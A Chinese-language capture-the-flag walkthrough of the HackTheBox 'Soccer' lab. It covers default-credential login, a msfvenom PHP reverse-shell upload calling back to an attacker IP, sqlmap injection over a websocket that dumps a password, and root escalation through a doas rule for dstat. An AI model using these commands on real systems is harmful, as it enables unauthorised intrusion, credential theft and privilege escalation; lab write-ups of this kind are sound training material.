挑了个看起来简单的靶场复健一下。
0x00 信息收集
IP:10.10.11.194
开放了80和22。看了下主页都是和球球有关的东西,毫无兴趣捏^^。
扫描,用到的字典:戳我
python3 dirsearch.py -w ../../wordlist/all-dirs.txt -u http://soccer.htb/
扫描到路径/tiny/,进入后台界面:

谷歌高搜一下CPP Programmers,可以找到这个文件:戳我,这里直接有默认登录口令的明文信息:

使用admin/admin@123就可以直接登录进入后台啦^^
0x01 漏洞利用
看起来文件管理器没有过滤,就考虑msf生成php🐎:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=5555 > test.php
监听:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 10.10.14.16 msf6 exploit(multi/handler) > set lport 5555
上线:

这个时候在/home目录下可以找到用户player,里面有user.txt(flag),可惜此时无法读取。
cat /etc/hosts
:
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb 127.0.1.1 ubuntu-focal ubuntu-focal
在本地也绑定一下这个域名,访问:

注册然后再次登录进入该页面:

然后瓶颈了,看了下参考资料是分析js源代码:
<script> var ws = new WebSocket("ws://soc-player.soccer.htb:9091"); …… function sendText() { var msg = input.value; if (msg.length > 0) { ws.send(JSON.stringify({ "id": msg })) } else append("????????") } } …… </script>
该网站使用了ws协议传参,使用sqlmap开梭:
python3 sqlmap.py --url "ws://soc-player.soccer.htb:9091" --data='{"id":1}' --dbs

–dump一下soccer_db:
+------+-------------------+----------------------+----------+ | id | email | password | username | +------+-------------------+----------------------+----------+ | 1324 | player@player.htb | PlayerOftheMatch2022 | player | +------+-------------------+----------------------+----------+
ssh 10.10.11.194 -l player
,密码PlayerOftheMatch2022
,登录即可看到flag。
0x02 权限提升
find / -user root -perm -4000 -print 2>/dev/null
结果有/usr/local/bin/doas
,doas可以替代sudo,维基百科介绍如下:
doas 是一个用来以其他用户身份执行指令的程序。系统管理员可以对其进行设置,赋予指定用户执行特定指令的权限。其为以ISC许可证许可的自由及开放源代码软件,可在UNIX与类Unix操作系统中使用。 doas是由Ted Unangst为OpenBSD所开发的,是一种更简单且更安全的sudo替代品。
查找doas的配置文件位置:
find / -type f -name doas.conf 2>/dev/null
查看doas的配置文件:
cat /usr/local/etc/doas.conf
配置文件的内容如下:
permit nopass player as root cmd /usr/bin/dstat
提权资料参考:戳我
不用资料里那么麻烦,可以写一个调用bash的py脚本让doas去调用。
> cd /usr/local/share/dstat/(/usr/share/dstat无权限) > touch dstat_shawroot.py > vim dstat_shawroot.py import os os.system('bash -i') > chmod 777 dstat_shawroot.py > doas /usr/bin/dstat --shawroot
成功提升到root权限,切换到root目录下即可看到flag。
